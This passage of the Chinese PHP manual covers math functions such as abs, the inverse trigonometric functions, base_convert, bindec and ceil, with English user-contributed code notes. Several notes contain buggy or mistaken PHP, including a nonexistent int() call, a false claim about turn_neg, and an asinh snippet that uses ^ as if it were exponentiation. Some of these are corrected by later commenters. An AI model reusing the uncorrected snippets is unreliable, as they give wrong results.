  }
  $i--;
}

if (($total % 10) != 0){
  $valid = 0;
}
?>
cathody at mail dot ru
11-Aug-2000 10:55
Converting non-standard form:

you can use something like this:

<?php
$v=0.3e-9;
$v=sprintf ( "%2.9f", $v);
?>
add a note add a note

后退 | 起点 | 前进
mailparse_uudecode_all | 上一级 | abs


abs

(PHP 3, PHP 4, PHP 5)

abs -- 绝对值

说明

number abs ( mixed number )

返回参数 number 的绝对值。如果参数 number 是 float，则返回的类型也是 float，否则返回 integer（因为 float 通常比 integer 有更大的取值范围）。

例子 1. abs()

<?php
$abs = abs(-4.2); // $abs = 4.2; (double/float)
$abs2 = abs(5);   // $abs2 = 5; (integer)
$abs3 = abs(-5);  // $abs3 = 5; (integer)
?>

add a note add a note User Contributed Notes
Josh
08-Jan-2006 08:06
Let's say you are resizing images to a standard size that can be expressed as a ratio (width/height). The problem I came into was that I wanted to be reasonable with the proportion of the images that my customer is uploading (couldn't we all use a little less horizontal on pictures?), but I wanted to reject the horizontal pictures when they were uploading vertical ones. So I wanted to accept proportions of images that were within a reasonable threshold (+ or -) of what I will be resizing them to.

Assuming a standard of 1 to 4 (0.25) and a threshold of no more than 0.05 deviation, then the number 0.30 and 0.20 would return true and 0.19 would return false.

<?php

function threshold($given,$thresh,$standard)
{
     return (abs($given-$standard)<=$thresh) ? true : false;
}

?>
jeremys at hang dash wire dot com
13-Dec-2005 12:05
I'm unable to replicate concordia's problem with the $n = $n - $n * 2 code.  I agree with the simplification to $n *= -1.  But there's no reason that concordia's code should return 6 for the value -2, and it doesn't appear to.  When I tried it, PHP returned 2, as it should.  If PHP were somehow flipping the sign of integers randomly, that would be a *major* bug!

There doesn't seem to be a sgn() function yet.  Here's some quick code to do it:

function sgn($x) {
   return $x ? ($x>0 ? 1 : -1) : 0;
}

You could use $x ? abs($x)/$x : 0 too, but might as well avoid the float division.
Lazarus
12-Dec-2005 10:53
Even that is unnecessarily complex. Try this:

<?php

function n_abs($v) { return -abs($v) ; }

?>

Faster too.
rdk
11-Nov-2005 03:04
concordia, you seem to be overcomplicating matters.  If you want to do the reverse of the abs function, the only code required is:

<?php

function n_abs($num) {
   return ($num > 0) ? $num * -1 : $num;
}

n_abs(2); //-2
n_abs(-2); //-2

?>

If you want to switch the sign bit of a number, as your example seems to indicate...
turn_neg (2); // -2
turn_neg (-2); // 2
...you just need to do $num *= -1;

Your function also doesn't seem to work. Switching "if (is_neg ($num))" to "if (!is_neg ($num))" would make it function as indicated by your comments (i.e. toggle the sign bit), but it would still be overly complicated.
concordia at game dot xakep dot org
07-Nov-2005 05:35
Sometimes you may want to do the opposite of abs(): turn a positive number into a negative.

<?php

function turn_neg ($num) {
   return $num - $num * 2;
}

?>

But this can create errors when you put a negative number inside...

turn_neg (-2) returns 6.

<?php

turn_neg (-2); // 6.

?>

The solution is to make another function to determine if the number is negative or not.

<?php

function is_neg ($num) {
   return $num < 0;
}

function turn_neg ($num) {
   if (is_neg ($num)) {
       return $num - $num * 2;
   } else {
       return abs ($num);
   }
}

turn_neg (2); // -2
turn_neg (-2); // 2

?>

Or, if the number is not negative, you could also return false.
alreece45 at yahoo dot com
11-Aug-2005 03:05
Both of the below codes were wrong.

<?php

// Check to see if $range is numberic, if not, set it to the integer value 1

if(!is_numeric($range)) {

 $range=1;

}

// Check to see if $range is an integer and not a float. Use is_int() and not int().

if(!is_int($range)) {

// Make it an integer. Use intval() here, not int_val.

 $range=intval($range);

}

$range=abs($range);

?>

The only thing I don't get is why we have to check before doing the functions. Whether or not we do the functions it will give us what we want. The only check I really understand being there is the one that sets it to one.

Why not just do:

<?php

// If $range is numberic, make it in positive integer, otherwise, make it one.

$range = is_numeric($range) ? abs(intval($range)) : 1;

?>

Seems like a lot less code. Or If you prefer to stay with if statements:

<?php

if(is_numberic($range)) {

 // If $range is numberic, make it in positive integer.

 $range = abs(intval($range));

}

else {

 //otherwise, make it one.

 $range = 1;

}

?>

Both ways seem smaller to me.
abodeman at y a h o o
25-May-2004 08:59
There's another problem in the below code. The correct function to see whether a value is an integer is is_int(), not int(), so the code should look like this:

<?php
if(!is_numeric($range))//checks for numeric input
{
$range=1;
}//sets $range to integer 1 if input is anything other than a numeric value
if(!is_int($range))//checks to make sure it is an integer (not decimal)
{
$range=int_val($range);
}//if a decimal- sets $range to integer value
$range=abs($range);//sets value to positive whole number
?>
mbender at duforu dot com
02-Mar-2004 05:59
In reference to the previous code sample the int_val function is actually intval() [http://us4.php.net/manual/en/function.intval.php]:

<?php
if(!is_numeric($range))//checks for numeric input
 {
  $range=1;
 } //sets $range to integer 1 if input is anything other than a numeric value
if(!int($range))//checks to make sure it is an integer (not decimal)
 {
 $range=intval($range) // not ->  int_val($range);
 }//if a decimal- sets $range to integer value
$range=abs($range);//sets value to positive whole number
?>
bgustin AT trukfixer DOT com
16-Jul-2003 11:50
assume we take user input from a form untreated and assign it to variable $range. We want to be sure this number is a Positive Whole number, since abs() just sets a number to positive or 0, and we dont want decimals...

<?php
if(!is_numeric($range))//checks for numeric input
{
$range=1;
}//sets $range to integer 1 if input is anything other than a numeric value
if(!int($range))//checks to make sure it is an integer (not decimal)
{
$range=int_val($range);
}//if a decimal- sets $range to integer value
$range=abs($range);//sets value to positive whole number
?>

for example the input "testing" would return $range =1,
the input "3.578" would return value=3
If the input is null, I am havent tested to see if it gets set to 1 courtesy of int_val or not, but I believe it will be.

I'm sure there's probably a more elegant way to do this using regex, however for an apprentice php coder, this might be a little easier to understand and use.
add a note add a note

后退 | 起点 | 前进
Math 数学函数 | 上一级 | acos


acos

(PHP 3, PHP 4, PHP 5)

acos -- 反余弦

说明

float acos ( float arg )

返回 arg 的反余弦值，单位是弧度。acos()
是 cos() 的反函数，它的意思是在
acos() 范围里的每个值都是
a==cos(acos(a)) 。

参见
acosh(),
asin() 和
atan()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
abs | 上一级 | acosh


acosh

(PHP 4 >= 4.1.0, PHP 5)

acosh -- 反双曲余弦

说明

float acosh ( float arg )

返回 arg 的反双曲余弦值，即，其双曲余弦为 arg 的那个值。

注: 本函数未在 Windows 平台下实现。

参见
acos()，
asinh(), 和
atanh()。

add a note add a note User Contributed Notes
DarkRed2006 at hotmail dot com
16-Jan-2006 11:13
This feature should have been included for Windows Platforms.

I'd post a function but oh, that's right I can't. Because I couldn't test to see if it worked.
add a note add a note

后退 | 起点 | 前进
acos | 上一级 | asin


asin

(PHP 3, PHP 4, PHP 5)

asin -- 反正弦

说明

float asin ( float arg )

返回 arg 的反正弦值，单位是弧度。asin()
是 sin() 的反函数，它的意思是在
asin() 范围里的每个值都是
a==sin(asin(a)) 。

参见
asinh(),
acos() 和
atan()。

add a note add a note User Contributed Notes
pierre dot langlois at space dot gc dot ca
01-Jun-2005 09:22
The argument of asin is not in radians. asin returns radians but the argument is a unitless ratio

opposite side / Hypothenuse = sin (theta)
theta=asin(opposite side / Hypothenuse )
add a note add a note

后退 | 起点 | 前进
acosh | 上一级 | asinh


asinh

(PHP 4 >= 4.1.0, PHP 5)

asinh -- 反双曲正弦

说明

float asinh ( float arg )

返回 arg 的反双曲正弦值，即，其双曲正弦为 arg 的那个值。

注: 本函数未在 Windows 平台下实现。

参见：
asin()，
acosh()，和
atanh()。

add a note add a note User Contributed Notes
snoyes at gmail dot com
27-Dec-2005 11:42
asinh for windows:

The definition for asinh is asinh(z) = log(z + sqrt(z^2 + 1))

The built-in math functions and operators give poor results for small values of z.  The BCMath version produces closer results, but still quite distant if z < 1.  A BCMath version of the log function might help.

if (!function_exists("asinh")) {
   function asinh($z) {
     return log($z + sqrt($z^2 +1));
   }
}

if (!function_exists("bcasinh")) {
   function bcasinh($z) {
     return log(bcadd($z, bcsqrt(bcadd(bcpow($z, 2), 1))));
   }
}
add a note add a note

后退 | 起点 | 前进
asin | 上一级 | atan2


atan2

(PHP 3 >= 3.0.5, PHP 4, PHP 5)

atan2 -- 两个参数的反正切

说明

float atan2 ( float y, float x )

本函数计算两个变量 x 和 y 的反正切值。和计算 y / x 的反正切相似，只除了两个参数的符号是用来确定结果的象限之外。

本函数的结果为弧度，其值在 -PI 和 PI 之间（包括 -PI 和 PI）。

参见 acos() 和 atan()。

add a note add a note User Contributed Notes
reubs at idsdatanet dot com
24-May-2003 04:01
Just a note:

PHP's atan2 function receives parameters in (y,x) and Excel receives it in (x,y) format. Just in case you are porting formulas across. :)
add a note add a note

后退 | 起点 | 前进
asinh | 上一级 | atan


atan

(PHP 3, PHP 4, PHP 5)

atan -- 反正切

说明

float atan ( float arg )

返回 arg 的反正切值，单位是弧度。atan() 是
tan() 的反函数，它的意思是在
atan() 范围里的每个值都是
a==tan(atan(a))。

参见:
atanh()、
asin() 和
acos()。

add a note add a note User Contributed Notes
joelperr at kiwi-interactif dot com
12-Jan-2006 09:12
to obtain the direction of the line, you are better to use the <? atan2((y2-y1)/(x2-x1)) ?> function, since the regular atan function will only return arguments in the half-plane, ie. if y2-y1 and x2-x1 are negative, atan will give you an angle measurement less than 90 degrees, while it really should be  between 180 and 270
darren_wheatley at hotmail dot com
28-Nov-2003 10:24
Arc Tan curve manipulation.

I used this formula to help with increasing and then diminishing return for y given an increasing x for a game.

Ie: Food production (output) is y. Food research is x.

The more research you put into x the more you produce, however after a certain point you get less reward.

 y = atan(x - pi()) + pi()/2;

The + pi()/2 moves it up the y axis so you'd add more if you want it to start higher.

The x - pi() moves it to the right so you'd minus more to move it more.

If you want stretched along the y axis change it to 2 * atan( ...... )

Dunno how useful it is... but it's there.

Daz
jmartin at columbiaservices dot net
21-Nov-2003 04:10
I looked for hours trying to come up with a formula to solve the direction that a line was heading (in degrees) when x1,y1 were the starting points, and x2,y2 are the ending points. Here is the equasion I was given, I hope this helps anyone in need of the same one.

$angle = rad2deg(atan2(($y2 - $y1), ($x2 - x1)));
add a note add a note

后退 | 起点 | 前进
atan2 | 上一级 | atanh


atanh

(PHP 4 >= 4.1.0, PHP 5)

atanh -- 反双曲正切

说明

float atanh ( float arg )

返回 arg 的反双曲正切值，即，其双曲正切为 arg 的那个值。

注: 本函数未在 Windows 平台下实现。

参见：
atan()、
asinh()和
acosh()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
atan | 上一级 | base_convert


base_convert

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

base_convert -- 在任意进制之间转换数字

说明

string base_convert ( string number, int frombase, int tobase )

返回一字符串，包含 number 以 tobase 进制的表示。number 本身的进制由 frombase 指定。frombase 和 tobase 都只能在 2 和 36 之间（包括 2 和 36）。高于十进制的数字用字母 a-z 表示，例如 a 表示 10，b 表示 11 以及 z 表示 35。

例子 1. base_convert() 范例

<?php
$hexadecimal = 'A37334';
echo base_convert($hexadecimal, 16, 2);
?>

输出为：

101000110111001100110100

警告

由于使用内部的 "double" 或 "float" 类型，base_convert() 的操作可能会导致大数值中的精度丢失。请参见本手册的 浮点数 章节以便获得更多详细信息。

add a note add a note User Contributed Notes
Michael Renner
17-May-2006 09:24
Here is an unfucked version of the arbitrary-large-number base_convert examples below:

I modified it so that it works as drop-in replacement for base_convert. Attention, no sanity checking is done for the input numbers, anything larger than 36 won't work..

function unfucked_base_convert ($numstring, $frombase, $tobase) {

   $chars = "0123456789abcdefghijklmnopqrstuvwxyz";
   $tostring = substr($chars, 0, $tobase);

   $length = strlen($numstring);
   $result = '';
   for ($i = 0; $i < $length; $i++) {
       $number[$i] = strpos($chars, $numstring{$i});
   }
   do {
       $divide = 0;
       $newlen = 0;
       for ($i = 0; $i < $length; $i++) {
           $divide = $divide * $frombase + $number[$i];
           if ($divide >= $tobase) {
               $number[$newlen++] = (int)($divide / $tobase);
               $divide = $divide % $tobase;
           } elseif ($newlen > 0) {
               $number[$newlen++] = 0;
           }
       }
       $length = $newlen;
       $result = $tostring{$divide} . $result;
   }
   while ($newlen != 0);
   return $result;
}
CJ Dennis
06-Apr-2006 04:03
Really huge numbers might be truncated at both ends.
eg:
<?php
$binary="11010101001111010001110101000100011110010110110".
"001111000010001010001111001100011010110110010010011010".
"001011010000001001011111110001010101101101011010101010".
"000100011101110010110010100111110001010010111010110011".
"001111111100011001011011001110001111110000101011010010";
print(strtoupper(base_convert($binary, 2, 16)));
?>
will output:
9E8EA23CB63C0000000000000000000000000000000000000000000000000000 (64 hex digits)
when the correct result would be:
6A9E8EA23CB63C228F31AD9268B4097F156D6AA11DCB29F14BACCFF196CE3F0AD2 (66 hex digits)
Notice that as well as the result showing '0's after B63C which you would expect it is also missing the first 6A before 9E.
david dot leppek at paybytouch dot com
17-Nov-2005 11:54
I was working on an application that needed to convert a 16 digit HEX number to BINARY.  base_convert was choking when the binary number exceeded 54 characters.

$hex_value    = B76ADDCE71CCC6BE;
$Sample    = base_convert ($hex_value, 16, 2);
print $Sample;

//printed: 1011011101101010110111011100111001110001110011001100100000000000

Reviewing the examples here, I didnt find anything that worked for my exact need.  Here is what I came up with:

function big_convert($string_in, $hex, $bin){
$temp=preg_split('//',$string_in,-1,PREG_SPLIT_DELIM_CAPTURE);
for($i=1;$i< strlen($string_in)+1; $i++) {
$results .= str_pad(base_convert($temp[$i], $hex, $bin), 4, '0', STR_PAD_LEFT);
}
return $results;
}

$hex_value    = B76ADDCE71CCC6BE;
$Sample    = big_convert ($hex_value, 16, 2);
print $Sample;

//printed: 1011011101101010110111011100111001110001110011001100011010111110

Hope this helps...  David Leppek
rithiur at mbnet dot fi
27-Jul-2005 11:23
Here is a simple function that works like the function provided by Mr. Fips (See below) with the exception that this can convert numbers of any size. However, note that as the division is performed manually to the number, this function is not very efficient and may not be suitable for converting strings with more than a few hundred numbers (depending on the number bases).

<?php
function custombase_convert_big ($numstring, $frombase, $tobase)
{
   $from_count = strlen($frombase);
   $to_count = strlen($tobase);
   $length = strlen($numstring);
   $result = '';
   for ($i = 0; $i < $length; $i++)
   {
       $number[$i] = strpos($frombase, $numstring{$i});
   }
   do // Loop until whole number is converted
   {
       $divide = 0;
       $newlen = 0;
       for ($i = 0; $i < $length; $i++) // Perform division manually (which is why this works with big numbers)
       {
           $divide = $divide * $from_count + $number[$i];
           if ($divide >= $to_count)
           {
               $number[$newlen++] = (int)($divide / $to_count);
               $divide = $divide % $to_count;
           }
           elseif ($newlen > 0)
           {
               $number[$newlen++] = 0;
           }
       }
       $length = $newlen;
       $result = $tobase{$divide} . $result; // Divide is basically $numstring % $to_count (i.e. the new character)
   }
   while ($newlen != 0);
   return $result;
}

$HEX = "0123456789ABCDEF";
$DEC = "0123456789";
print custombase_convert_big ("FFFFFF", $HEX, $DEC); // Prints "16777215"

$BIN = "01";
$ASCII = "";
for ($i = 0; $i < 256; $i++)
{
   $ASCII .= chr($i);
}
$msg = "0100100101110100001000000101011101101111011100100110101101110011";
print custombase_convert_big($msg, $BIN, $ASCII); // Prints "It Works"

?>
fragmer[at]mail[dot]ru
02-May-2005 11:58
Here is a much simpler and faster version of the "custombase_convert" function proposed by Mr.Fips (see below). My functions convert decimals to and from custom bases:

<?php
// Decimal > Custom
function dec2any( $num, $base=62, $index=false ) {
   if (! $base ) {
       $base = strlen( $index );
   } else if (! $index ) {
       $index = substr( "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" ,0 ,$base );
   }
   $out = "";
   for ( $t = floor( log10( $num ) / log10( $base ) ); $t >= 0; $t-- ) {
       $a = floor( $num / pow( $base, $t ) );
       $out = $out . substr( $index, $a, 1 );
       $num = $num - ( $a * pow( $base, $t ) );
   }
   return $out;
}
?>
Parameters:
$num - your decimal integer
$base - base to which you wish to convert $num (leave it 0 if you are providing $index or omit if you're using default (62))
$index - if you wish to use the default list of digits (0-1a-zA-Z), omit this option, otherwise provide a string (ex.: "zyxwvu")

<?php
// Custom > Decimal
function any2dec( $num, $base=62, $index=false ) {
   if (! $base ) {
       $base = strlen( $index );
   } else if (! $index ) {
       $index = substr( "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", 0, $base );
   }
   $out = 0;
   $len = strlen( $num ) - 1;
   for ( $t = 0; $t <= $len; $t++ ) {
       $out = $out + strpos( $index, substr( $num, $t, 1 ) ) * pow( $base, $len - $t );
   }
   return $out;
}
?>
Parameters:
$num - your custom-based number (string) (ex.: "11011101")
$base - base with which $num was encoded (leave it 0 if you are providing $index or omit if you're using default (62))
$index - if you wish to use the default list of digits (0-1a-zA-Z), omit this option, otherwise provide a string (ex.: "abcdef")

I have optimized the functions as much as I could, I hope they'll be helpful to someone.
lindsay at bitleap dot com
19-Mar-2005 05:17
If you need to use base_convert with numbers larger then 32 bit, the following gmp implementation of base_convert should work.

<?php

/*use gmp library to convert base. gmp will convert numbers > 32bit*/
function gmp_convert($num, $base_a, $base_b)
{
       return gmp_strval ( gmp_init($num, $base_a), $base_b );
}

?>
tomhiggy at gmail dot com
16-Mar-2005 07:28
I was looking for a function to convert the base encoding of a sha1 hash from base 16 to a custom base 32 (using characters [A-Z2-7], as used by several filesharing applications).

The function custombase_convert() posted by Fips isn't able to cope with numbers above a certain value. It returns the first few (around 10) characters correctly but each character after is a 0 value ('A' in this case).

I've solved the problem for now by requesting in groups of 10 base 16 characters and appending the result to the final base 32 value. If anyone has any better solutions, please let me know.
mike at we cant lose dot com
14-Feb-2005 01:52
There are a few functions posted here to inverse or invert a hex color code yet none of them have actually worked for me.

This function will take a hex color code string such as '#00FF00' and return the inversed or inverted hex color code string of '#FF00FF'.

<?

function inverseColor($hex) {
   if(substr($hex, 0, 1) == '#') $hex = substr($hex, 1);

   $r = str_pad(dechex(255 - hexdec(substr($hex, 0, 2)) ),2,'0',STR_PAD_LEFT);
   $g = str_pad(dechex(255 - hexdec(substr($hex, 2, 2)) ),2,'0',STR_PAD_LEFT);
   $b = str_pad(dechex(255 - hexdec(substr($hex, 4, 2)) ),2,'0',STR_PAD_LEFT);

   return strtoupper('#'.$r.$g.$b);
}

?>
simon at simonster dot com
16-Jun-2004 09:05
Here are some functions for converting integers to and from base 256. Converting to base 64 is simple given these.

<?php
function to_base256($number, $from_base = 10) {
   $binary_number = base_convert($number, $from_base, 2);
   $final_string = "";
   $new_length = (ceil(strlen($binary_number)/8)*8);
   $binary_number = str_pad($binary_number, $new_length, "0", STR_PAD_LEFT);
   for($i=($new_length-8); $i>=0; $i-=8) {
       $final_string = chr(base_convert(substr($binary_number, $i, 8), 2, 10)).$final_string;
   }
   return $final_string;
}

function from_base256($string, $to_base = 10) {
   $number = "";
   for($i=0; $i<strlen($string); $i++) {
       $number .= str_pad(base_convert(ord($string{$i}), 10, 2), 8, "0", STR_PAD_LEFT);
   }
   return base_convert($number, 2, $to_base);
}
?>

Yes, I know that this would be more efficient if it used mod instead of base_convert, but it needs to work with integers > 32 bits.
AdamJacobMuller at AdamJacobMuller dot com
29-Apr-2004 05:20
<?php
function binarycodedstring2dec($binary) {
       $len=strlen($binary);
       $rows=($len/4)-1;
       if (($len%4)>0) {
               $pad=$len+(4-($len%4));
               $binary=str_pad($binary,$pad,"0",STR_PAD_LEFT);
               $len=strlen($binary);
               $rows=($len/4)-1;
       }
       $x=0;
       for ($x=0;$x<=$rows;$x++) {
               $s=($x*4);
               $bins=$binary[$s].$binary[$s+1].$binary[$s+2].$binary[$s+3];
               $num=base_convert($bins,2,10);
               if ($num>9) {
                       die("the string is not a proper binary coded decimal\n");
               } else {
                       $res.=$num;
               }
       }
       return $res;
}
?>

a binary coded decimal is converted by taking groups of four from a decimal string,
for example the binary coded decimal string
1000 = 8
10001000 does not = 136 but 88
so
binarycodedstring2dec(1000) = 8
binarycodedstring2dec(11100000111001)=3839
binarycodedstring2dec(100000111001)=839

i truly have no idea if this function will be useful to anyone, i simply failed a physics midterm because i didn't know this so i wrote this function to make sure i would never forget how to convert binary coded decimals
Matt AKA Junkie
24-Apr-2004 04:11
You seem to not see the simplicity of using assembly-esque ideals when inverting colors...

<?
// precond: $color is a hex integer
// postcond: returns inversion
function InvertColor($color)
{
  return (int) 0xffffff - $color;
}
?>
kx
26-Mar-2004 05:06
There's an useful function custombase_convert(), which seems to be very useful, for example, to implement genealogical trees model proposed by Miguel Sofer (http://darwin.zoology.gla.ac.uk/~rpage/ MyToL/www/downloads/trees.pdf). Unfortunately, Fips' code has a bug. To make it work correctly you should replace line
       while ($decVal > 0)
with this:
       while ($decVal > 0 || $pos >=0)
hkh at netnords dot dk
27-Feb-2004 01:36
An optimized version of fiftytoo InvertColor() function.

<?php
function InvertColor($hex)
{
  return sprintf("%06X", $hex ^ 0xFFFFFF);
}
?>
fiftytoo at buckeyeexpress dot com
24-Dec-2003 04:57
I needed a function to invert a hex value, which i used for setting font colors when they were on a colored background, that way i will get a contrasting color.

Im sure there are other reasons to use this, you decide!!

<?php
function InvertColor($hex) {
  return sprintf("%06s",base_convert(($hex ^ 0xFFFFFF),10,16));
  };

print '<td bgcolor="BB2222"><font color="'.InvertColor(0xBB2222).'">Blah</font></td>';
// Prints 44dddd as the font color, which is it's opposite on the color wheel

?>
Fips
30-Jul-2003 02:08
I wrote a function for converting numbers not only into 0-9 and a-z:

-----
<?php
function custombase_convert($numstring, $baseFrom = "0123456789", $baseTo = "0123456789")
{
   $numstring = (string) $numstring;
   $baseFromLen = strlen($baseFrom);
   $baseToLen = strlen($baseTo);
   if ($baseFrom == "0123456789") // No analyzing needed, because $numstring is already decimal
   {
       $decVal = (int) $numstring;
   } else {
       $decVal = 0;
       for ($len = (strlen($numstring) - 1); $len >= 0; $len--)
       {
           $char = substr($numstring, 0, 1);
           $pos = strpos($baseFrom, $char);
           if ($pos !== FALSE)
           {
               $decVal += $pos * ($len > 0 ? pow($baseFromLen, $len) : 1);
           }
           $numstring = substr($numstring, 1);
       }
   }
   if ($baseTo == "0123456789") // No converting needed, because $numstring needs to be converted to decimal
   {
       $numstring = (string) $decVal;
   } else {
       $numstring = FALSE;
       $nslen = 0;
       $pos = 1;
       while ($decVal > 0)
       {
           $valPerChar = pow($baseToLen, $pos);
           $curChar = floor($decVal / $valPerChar);
           if ($curChar >= $baseToLen)
           {
               $pos++;
           } else {
               $decVal -= ($curChar * $valPerChar);
               if ($numstring === FALSE)
               {
                   $numstring = str_repeat($baseTo{1}, $pos);
                   $nslen = $pos;
               }
               $numstring = substr($numstring, 0, ($nslen - $pos)) . $baseTo{$curChar} . substr($numstring, (($nslen - $pos) + 1));
               $pos--;
           }
       }
       if ($numstring === FALSE) $numstring = $baseTo{1};
   }
   return $numstring;
}
?>
------

The function arguments:
$numstring - String with number to convert. (e.g. "15" or "5F")
$baseFrom - Chars of the base the number is in. (e.g. "0123456789" for decimal or "01" for binary)
$baseTo - Chars of the base to convert the number. (e.g. "0123456789" for decimal or "01" for binary)

I wrote it for writing numbers in files, and so I convert between "0123456789" (decimal) and "\x01\x02\x03...\xFF" - uses very low disc space :-) (You could of course also add the null char (\x00), but >I< need it to seperate the numbers)
sam_at_compasspointmedia.com
07-Dec-2002 06:15
If you haven't already figured it out from the text, the higest base you can encode in is 36 (because z is 35),  try this

<?php
$compactIt = base_convert('999',10,37);  //or anything higher
?>

and you'll get a warning.
gateschris at yahoo dot com
27-Mar-2001 08:57
if your worried about little/big edian affecting your dec to binary conversions, or just want to convert large numbers then try this bit of code:
<?
// this little bit of code is simply to convert a 64bit number.
function convert_num ($value) {
 $value = (string) $value;
 while (!preg_match('/^0*$/', $value) && $j < 65) {
  $cumulate = '';
  $rem = '';
  for ($i = 0; $i < strlen($value); $i++) {
   if ($cumulate == '') {
   if (floor(($value[$i] + $rem) / 2)) {
     $cumulate .= floor(($value[$i] + $rem) / 2);
   }
   } else {
   $cumulate .= floor(($value[$i] + $rem) / 2);
   }
   $rem = $value [$i] % 2 * 10;
  }
  $r = floor($rem / 10);
  $re .= $r;
  $value = $cumulate;
  $j++;
 }
 return $re;
}

print convert_num (65535);
?>
tim_converse at yahoo dot com
20-Jan-2000 07:24
base_convert expects its string arguments to be integral, and gives nonsensical answers when given floating-point strings.  For example, base_convert("1.0", 10, 2) yields "1100100".  It seems that "1.0" is being interpreted as "100".  (PHP4.0b3).
scott at mha dot ca
09-Sep-1999 06:48
This would seem to be limited to 31 bits, ie. the range of values that can be converted is 0 - 2147483647 in decimal.

Also, this will convert negative values to positive values, unlike DecHex() which will return a null string for negative values.

From what I have observed (using PHP 3.0.11) the following statements will set both a and c to a null string and set b to positive 1.

$a = base_convert (2147483648, 10, 16);
$b = base_convert (-1, 10, 16);
$c = dechex (-1);
add a note add a note

后退 | 起点 | 前进
atanh | 上一级 | bindec


bindec

(PHP 3, PHP 4, PHP 5)

bindec -- 二进制转换为十进制

说明

number bindec ( string binary_string )

返回 binary_string 参数所表示的二进制数的十进制等价值。

bindec() 将一个二进制数转换成 integer。可转换的最大的数为 31 位 1 或者说十进制的 2147483647。PHP 4.1.0 开始，该函数可以处理大数值，这种情况下，它会返回 float 类型。

例子 1. bindec() 范例

<?php
echo bindec('110011') . "\n";
echo bindec('000110011') . "\n";

echo bindec('111');
?>

上例将输出：

51
51
7

参见 decbin()，octdec()，hexdec() 和 base_convert()。

add a note add a note User Contributed Notes
26-Aug-2004 05:42
decbin('1001') is prefered as decbin(1001).

Because on larger bit string, it may cause problem :

decbin(100000000000000) return 3
else
decbin('100000000000000') return 16384
gwbdome at freenet dot de
20-Aug-2004 05:43
i think a better method than the "shift-method" is my method ^^...
here it comes:

function convert2bin($string) {
     $finished=0;
     $base=1;
     if(preg_match("/[^0-9]/", $string)) {
         for($i=0; $string!=chr($i); $i++);
         $dec_nr=$i;
     }
     else $dec_nr=$string;
     while($dec_nr>$base) {
         $base=$base*2;
         if($base>$dec_nr) {
             $base=$base/2;
             break;
         }
     }
     while(!$finished) {
         if(($dec_nr-$base)>0) {
             $dec_nr=$dec_nr-$base;
             $bin_nr.=1;
             $base=$base/2;
         }
         elseif(($dec_nr-$base)<0) {
             $bin_nr.=0;
             $base=$base/2;
         }
         elseif(($dec_nr-$base)==0) {
             $bin_nr.=1;
             $finished=1;
             while($base>1) {
                 $bin_nr.=0;
                 $base=$base/2;
             }
         }
     }
     return $bin_nr;
 }

=====================================================

if you want to reconvert it (from binary to string or integer) you can use this function:

function reconvert($bin_nr) {
     $base=1;
     $dec_nr=0;
     $bin_nr=explode(",", preg_replace("/(.*),/", "$1", str_replace("1", "1,", str_replace("0", "0,", $bin_nr))));
     for($i=1; $i<count($bin_nr); $i++) $base=$base*2;
     foreach($bin_nr as $key=>$bin_nr_bit) {
         if($bin_nr_bit==1) {
             $dec_nr+=$base;
             $base=$base/2;
         }
         if($bin_nr_bit==0) $base=$base/2;
     }
     return(array("string"=>chr($dec_nr), "int"=>$dec_nr));
 }
martin at punix dot de
30-May-2003 01:47
## calculate binary with "shift-method" ##

<?php
function dec2bin($decimal_code){
 for($half=($decimal_code);$half>=1;$half=(floor($half))/2){
   if(($half%2)!=0){
   $y.=1;
   }
   else{
   $y.=0;
   }
  }
 $calculated_bin=strrev($y);
 return $calculated_bin;
}
?>

## example ##

[bin] 123 = [dec] 1111011

e.g.
123/2 = 61,5 => 1
61/2  = 30,5 => 1
30/2  = 15  => 0
15/2  = 7,5  => 1
7/2  = 3,5  => 1
3/2  = 1,5  => 1
1/2  = 0,5  => 1
(0/2  = 0    finish)
juancri at tagnet dot org
30-Oct-2002 08:16
> The special reason 4 this is:
> (010) is an integer, left 0 is null, eg 010 = 10
> ('010') is a string, eg '010' = '010'

In binary, just like with decimals, the left 0's are nulls.

in Decimal:  010 = 10
in Binary:    010 = 10 too :o)

> echo decbin(bindec(010010010));
> returns 101000

010010010 is a octal number. It's eq. to 2101256 (decimal). decbin(bindec(010010010)) is 101000 because 010010010 = 2101256.

That's all =)
php at silisoftware dot com
01-Mar-2002 11:16
For converting larger-than-31-bit numbers:

<?php
function Bin2Dec($binstring) {
   for ($i=0;$i<strlen($binstring);$i++) {
       $decvalue += ((int) substr($binstring, strlen($binstring) - $i - 1, 1)) * pow(2, $i);
   }
   return $decvalue;
}
?>
da_he4datthe-gurusdotde
17-Sep-2001 10:11
[Editor's Note:
Numeric values starting with 0 are interpreted as octal (base eight) values.  For example: 0101 is converts to 65
--zak@php.net]

i was quite confused while werking with those bindec()/decbin() functions..
while
echo decbin(bindec(1));
echo decbin(bindec(10));
echo decbin(bindec(101));
just worked like expected,
echo decbin(bindec(010));
returns just 0
and for any reason
echo decbin(bindec(010010010));
returns 101000

i dont think this is a bug (maybe theres some special reason 4 this?), but it took  a certain time till i noticed that
echo decbin(bindec("010010010"));
works fine ...

hope this helps ne1.
add a note add a note

后退 | 起点 | 前进
base_convert | 上一级 | ceil


ceil

(PHP 3, PHP 4, PHP 5)

ceil -- 进一法取整

说明

float ceil ( float value )

返回不小于 value 的下一个整数，value 如果有小数部分则进一位。ceil() 返回的类型仍然是 float，因为 float 值的范围通常比 integer 要大。

例子 1. ceil() 例子

<?php
echo ceil(4.3);    // 5
echo ceil(9.999);  // 10
?>

参见 floor() 和 round()。

add a note add a note User Contributed Notes
rjones at i-ps dot net
05-Mar-2006 08:19
To eliftymes below:

To check if a numer is divisible by another number just check if the modulus is zero:

if ($bigger_number % $lower_number == 0)
{
   echo "Can be wholey divided<br />";
}
else
{
   echo "Not wholey divisible";
}
tom pittlik
28-Feb-2006 08:02
ceil() is a useful way to quickly format bogus shopping cart quantities:

<?

ceil("str"); // 0
ceil("001"); // 1
ceil("0.1"); // 1
ceil("a34"); // 0
ceil("2fg"); // 2
ceil("$%%"); // 0

?>
eliftymes at gmail dot com
24-Feb-2006 04:20
Here's a little function I wrote that checks if a number is divisible by another number.

function check_divisible($number, $divider) {
 if(ceil($number/$divider) == $number/$divider) {
   return TRUE;
 } else {
   return FALSE;
 }
}

